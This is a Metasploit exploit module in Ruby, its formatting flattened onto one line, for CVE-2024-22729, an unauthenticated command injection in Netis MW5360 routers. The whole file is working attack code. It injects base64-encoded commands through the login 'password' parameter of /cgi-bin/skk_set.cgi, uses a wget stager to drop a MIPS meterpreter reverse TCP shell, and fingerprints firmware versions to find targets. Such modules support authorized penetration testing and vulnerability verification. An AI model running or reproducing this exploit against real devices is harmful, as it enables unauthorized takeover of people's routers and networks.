## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Netis router MW5360 unauthenticated RCE.', 'Description' => %q{ Netis router MW5360 has a command injection vulnerability via the password parameter on the login page. The vulnerability stems from improper handling of the "password" parameter within the router's web interface. The router's login page authorization can be bypassed by simply deleting the authorization header, leading to the vulnerability. All router firmware versions up to `V1.0.1.3442` are vulnerable. Attackers can inject a command in the 'password' parameter, encoded in base64, to exploit the command injection vulnerability. When exploited, this can lead to unauthorized command execution, potentially allowing the attacker to take control of the router. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor 'Adhikara13' # Discovery of the vulnerability ], 'References' => [ ['CVE', '2024-22729'], ['URL', 'https://attackerkb.com/topics/MvCphsf4LN/cve-2024-22729'], ['URL', 'https://github.com/adhikara13/CVE/blob/main/netis_MW5360/blind%20command%20injection%20in%20password%20parameter%20in%20initial%20settings.md'] ], 'DisclosureDate' => '2024-01-11', 'Platform' => ['linux'], 'Arch' => [ARCH_MIPSLE], 'Privileged' => true, 'Targets' => [ [ 'Linux Dropper', { 'Platform' => ['linux'], 'Arch' => [ARCH_MIPSLE], 'Type' => :linux_dropper, 'CmdStagerFlavor' => ['wget'], 'DefaultOptions' => { 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'SSL' => false, 'RPORT' => 80 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [ true, 'The Netis MW5360 router endpoint URL', '/' ]), OptInt.new('CMD_DELAY', [true, 'Delay in seconds between payload commands to avoid locking', 30]) ]) end def execute_command(cmd, _opts = {}) # cleanup payload file when session is established. if cmd.include?('chmod +x') register_files_for_cleanup(cmd.split('+x')[1].strip) end # skip last command to remove payload because it does not work unless cmd.include?('rm -f') payload = Base64.strict_encode64("`#{cmd}`") print_status("Executing #{cmd}") send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/cgi-bin/skk_set.cgi'), 'vars_post' => { 'password' => payload, 'quick_set' => 'ap', 'app' => 'wan_set_shortcut' } }) end end def check print_status("Checking if #{peer} can be exploited.") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/cgi-bin/skk_get.cgi'), 'vars_post' => { 'mode_name' => 'skk_get', 'wl_link' => 0 } }) return CheckCode::Unknown('No valid response received from target.') unless res && res.code == 200 && res.body.include?('version') # trying to get the model and version number # unfortunately JSON parsing fails, so we need to use this ugly REGEX :-( version = res.body.match(/.?(version).?\s*:\s*.?((\\|[^,])*)/) # when found, remove whitespaces and make all uppercase to avoid suprises in string splitting and comparison unless version.nil? version_number = version[2].upcase.split('-V')[1].gsub(/[[:space:]]/, '').chop # The model number part is usually something like Netis(NC63), but occassionally you see things like Stonet-N3D if version[2].upcase.split('-V')[0].include?('-') model_number = version[2].upcase.split('-V')[0][/-([^-]+)/, 1].gsub(/[[:space:]]/, '') else model_number = version[2].upcase.split('-V')[0][/\(([^)]+)/, 1].gsub(/[[:space:]]/, '') end # Check if target is model MW5360 and running firmware 1.0.1.3442 (newest release 2024-04-24) or lower if version_number && model_number == 'MW5360' && (Rex::Version.new(version_number) <= Rex::Version.new('1.0.1.3442')) return CheckCode::Appears(version[2].chop.to_s) end return CheckCode::Safe(version[2].chop.to_s) end CheckCode::Safe end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :linux_dropper # Don't check the response here since the server won't respond # if the payload is successfully executed execute_cmdstager(noconcat: true, delay: datastore['CMD_DELAY']) end end end